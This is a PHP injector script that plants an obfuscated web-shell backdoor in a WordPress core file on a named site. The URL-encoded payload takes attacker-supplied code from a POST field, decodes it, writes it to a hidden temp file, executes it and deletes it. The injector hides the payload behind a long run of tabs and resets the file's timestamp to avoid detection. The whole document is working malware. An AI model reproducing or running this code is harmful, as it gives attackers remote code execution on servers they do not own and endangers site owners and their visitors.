<?php  $path = '/var/www/vhost/www.mocrea.it/dev/wp-includes/ms-files.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('if%28filter_has_var%28INPUT_POST%2C%20%22b%5Cx69%5Cx6E%5Cx64ing%22%29%29%7B%20%24property_set%20%3D%20array_filter%28%5Bgetenv%28%22TMP%22%29%2C%20getenv%28%22TEMP%22%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20%22/dev/shm%22%2C%20%22/var/tmp%22%2C%20session_save_path%28%29%2C%20%22/tmp%22%2C%20getcwd%28%29%2C%20sys_get_temp_dir%28%29%5D%29%3B%20%24tkn%20%3D%20%24_REQUEST%5B%22b%5Cx69%5Cx6E%5Cx64ing%22%5D%3B%20%24tkn%20%3D%20explode%20%28%20%27.%27%20%2C%24tkn%20%29%20%3B%20%24ent%20%3D%20%27%27%3B%20%24s6%20%3D%20%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24sLen%20%3D%20strlen%28%20%24s6%20%29%3B%20%24o%20%3D%200%3B%20foreach%28%20%24tkn%20as%20%24v2%29%20%7B%20%24chS%20%3D%20ord%28%20%24s6%5B%24o%20%25%20%24sLen%5D%20%29%3B%20%24d%20%3D%28%20%28%20int%29%24v2%20-%20%24chS%20-%28%20%24o%20%25%2010%29%29%20%5E%2097%3B%20%24ent.%3D%20chr%28%20%24d%20%29%3B%20%24o%2B%2B%3B%20%7D%20foreach%20%28%24property_set%20as%20%24key%20%3D%3E%20%24flg%29%20%7B%20if%20%28is_writable%28%24flg%29%20%26%26%20is_dir%28%24flg%29%29%20%7B%20%24ref%20%3D%20%22%24flg/.entry%22%3B%20%24success%20%3D%20file_put_contents%28%24ref%2C%20%24ent%29%3B%20if%20%28%24success%29%20%7B%20include%20%24ref%3B%20%40unlink%28%24ref%29%3B%20exit%3B%7D%20%7D%20%7D%20%7D'); if (strstr($content, $new_code)) {     die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     if (substr($content, 0, strlen($start)) == $start) {         $content = substr($content, strlen($start));         $content = $start.str_repeat("\t", 42).$new_code."\n".$content;         if (file_put_contents($path, $content)) {             @touch($path, $ft);             $content = file_get_contents($path);             if (strstr($content, $new_code)) {                 die('!success!');             }         }     } } die('!failed!');